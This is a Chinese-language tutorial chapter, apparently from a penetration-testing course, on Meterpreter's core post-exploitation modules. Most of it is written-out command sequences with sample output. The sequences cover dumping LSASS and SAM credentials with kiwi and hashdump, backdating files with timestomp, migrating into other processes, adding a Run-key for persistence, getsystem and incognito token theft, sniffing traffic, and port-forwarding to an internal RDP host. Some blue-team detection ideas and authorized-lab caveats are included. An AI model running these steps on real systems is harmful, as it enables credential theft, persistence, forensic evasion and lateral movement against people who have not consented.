4.2 核心功能模块


4.2 核心功能模块

本节摘要:SOURCE 4.2:文件系统、进程、网络、截屏、键盘记录;扩展 kiwi 抓凭据、Pass the Hash

动手:常用命令块

Meterpreter 的核心功能通过扩展按需加载,功能矩阵清晰。先跑一组最常用的命令(隔离 lab):

meterpreter > pwd meterpreter > ls meterpreter > upload /tmp/tool.exe C:\\Windows\\Temp\\ meterpreter > download C:\\Users\\admin\\secret.txt meterpreter > getuid meterpreter > sysinfo meterpreter > getpid meterpreter > ps
meterpreter > load kiwi meterpreter > creds_msv # Kiwi 从 LSASS 导出凭据 meterpreter > creds_kerberos meterpreter > hashdump # 导出 SAM 哈希

SOURCE:Mimikatz/Kiwi 导出 LSASS 凭据,实现横向移动素材。这些操作全部通过 TLV 协议动态加载扩展完成,不需要在目标上落地任何文件。

功能矩阵

类别 命令示例 风险
文件 upload/download 数据渗出
进程 ps, kill, migrate 稳定性
凭据 hashdump, kiwi 横向移动
网络 portfwd, route 内网穿透
系统 reg, sysinfo, getsystem 权限提升
反取证 timestomp 痕迹篡改

文件系统:上传下载与反取证

upload/download 底层直接调用 Win32 API(ReadFile/WriteFile),避开系统缓存高层抽象,传输大文件更稳定。反取证重点是 Timestomp——文件 MAC 属性(修改/访问/创建时间)是取证人员重建时间线的依据,timestomp 可把后门文件的属性伪装成系统文件:

meterpreter > timestomp C:\\Windows\\Temp\\tool.exe -v # 查看当前 MAC 时间 meterpreter > timestomp C:\\Windows\\Temp\\tool.exe -c 07/22/2010 03:00:00 # 把创建时间改为系统文件时间

这类操作属于授权测试中的反取证教学,蓝队据此设计"文件时间异常"检测规则。

系统控制:进程、注册表与键盘记录

进程迁移是巩固会话的首要动作。初始会话通常依附临时进程(notepad/svchost),用户关闭该程序会话即断。migrateVirtualAllocEx + WriteProcessMemory + CreateRemoteThread 组合把 DLL 注入长期运行进程:

meterpreter > ps # PID PPID Name Path # 1234 123 notepad.exe ... # 4560 500 explorer.exe ... meterpreter > migrate 4560 # [*] Migrating from 1234 to 4560...

注册表操作无需图形工具即可增删改查,是持久化的前置能力:

meterpreter > reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run meterpreter > reg setval -k HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -n update -d "C:\\temp\\x.exe" # 修改启动项,实现开机自启(仅授权实验)

键盘记录通过 Windows 钩子拦截消息队列中的输入事件,即使虚拟键盘输入也能捕获。数据加密缓存后定期回传。

权限操作:getsystem 与令牌

getsystem 是标志性提权命令,目标是把当前进程提升到 SYSTEM。它主要靠两种技术:令牌模拟与命名管道模拟。命名管道模拟流程:创建 SYSTEM 权限的服务 → 服务启动时连接 Meterpreter 创建的命名管道 → 调用 ImpersonateNamedPipeClient 窃取 SYSTEM 令牌。

meterpreter > getsystem # [-] priv_elevate_getsystem: ... 尝试失败则换方法 # 成功输出 SYSTEM 上下文 meterpreter > getuid # Server username: NT AUTHORITY\SYSTEM

Incognito 扩展做令牌窃取:枚举系统上所有可用令牌(包括已登录管理员的),把令牌"窃取"到当前进程。即使当前是普通用户,只要系统上有管理员登录过,就能复用其令牌获得权限:

meterpreter > load incognito meterpreter > list_tokens -u # 列出可用用户令牌 meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" # 假冒 SYSTEM 令牌

网络嗅探与端口转发

Meterpreter 运行在目标内部,可用原始套接字嗅探流经网卡的数据包,绕过主机防火墙限制。嗅探模块支持导出 PCAP 供离线分析:

meterpreter > use sniffer meterpreter > sniffer_interfaces # 1 - 'Intel(R) PRO...' ( type:0 mtu:1500) meterpreter > sniffer_start 1 meterpreter > sniffer_dump 1 /tmp/capture.pcap

端口转发让目标主机成为跳板,把攻击者流量经 Meterpreter 隧道转发到内网其他主机:

meterpreter > portfwd add -L 127.0.0.1 -l 33890 -r 10.10.10.5 -p 3389 # 本地 33890 → 隧道 → 内网 10.10.10.5:3389
meterpreter > portfwd list # Active Port Forwards # 0: tcp 127.0.0.1:33890 -> 10.10.10.5:3389

⚠️ 常见坑:hashdump 触发 AV——蓝队应监控 LSASS 访问。load kiwi 前先确认架构匹配:x64 系统必须用 x64 的 meterpreter。

💡 关键直觉:功能模块 = post 能力的交互式前置。命令记不住没关系,help 永远是第一入口;重点是理解"扩展加载—TLV 调用"的机制。

本章回顾

  • load 扩展前看 arch x86/x64 匹配,载荷选错架构扩展加载失败
  • portfwd 本地映射 RDP 3389 进内网,是纵向移动的关键一步
  • getsystem / incognito 属高敏操作,授权实验外禁止执行
  • 实验数据及时销毁,截图与日志按报告需求保留

扩展体系一览

Meterpreter 的扩展按用途分层,load 命令按需加载:

扩展 能力 典型命令
stdapi 文件/进程/网络/注册表 ls, ps, ifconfig, reg
priv 提权 getsystem
espia 屏幕截取 screenshot
sniffer 网络嗅探 sniffer_start
kiwi 凭据(Mimikatz 移植) creds_msv, creds_kerberos
incognito 令牌窃取 list_tokens, impersonate_token
powershell 内存加载 PS powershell_execute
meterpreter > load espia meterpreter > screenshot /tmp/screen.png # [*] Screenshot saved to: /tmp/screen.png
meterpreter > load powershell meterpreter > powershell_execute "Get-Host" # 在内存中执行 PowerShell,无需落地脚本文件
meterpreter > load sniffer meterpreter > sniffer_interfaces meterpreter > sniffer_start 1 # 开始抓包;导出后可在 Wireshark 离线分析 meterpreter > sniffer_dump 1 /tmp/cap.pcap

扩展加载前确认架构:x64 系统必须用 x64 meterpreter,否则扩展加载失败甚至导致会话崩溃。

截屏与键盘记录的应用边界

screenshot 与键盘记录属于高敏感能力,在授权测试中用于"证明访问深度"(比如截取管理后台会话),但同时也是 APT 的标准动作。蓝队视角:

检测思路 1. 监控屏幕截取 API(GDI/BitBlt)的异常调用 2. 监控键盘钩子(SetWindowsHookEx)与输入事件拦截 3. 对 LSASS 的读取访问保持高敏告警

理解这些功能背后的系统机制(钩子、句柄、令牌),比记忆命令列表重要得多——机制不变,防御规则就有靶心。

命令速查表(备忘)

信息:getuid sysinfo getpid id getenv 进程:ps kill migrate steal_token 文件:ls cd pwd upload download rm timestomp 网络:ifconfig route portfwd ipconfig 注册表:reg query reg setval reg delkey 凭据:hashdump load kiwi creds_msv creds_kerberos

这张表覆盖了后渗透 80% 的日常操作。其余命令随时 helphelp <command> 查询。


作者与出处
原作者: 灏天文库
来源:灏天文库
整理: 灏天文库整理
由灏天文库平台收录,内容或由平台用户上传,仅供学习交流
发布者: 作者: 灏天文库 转发
评论区 (0)
U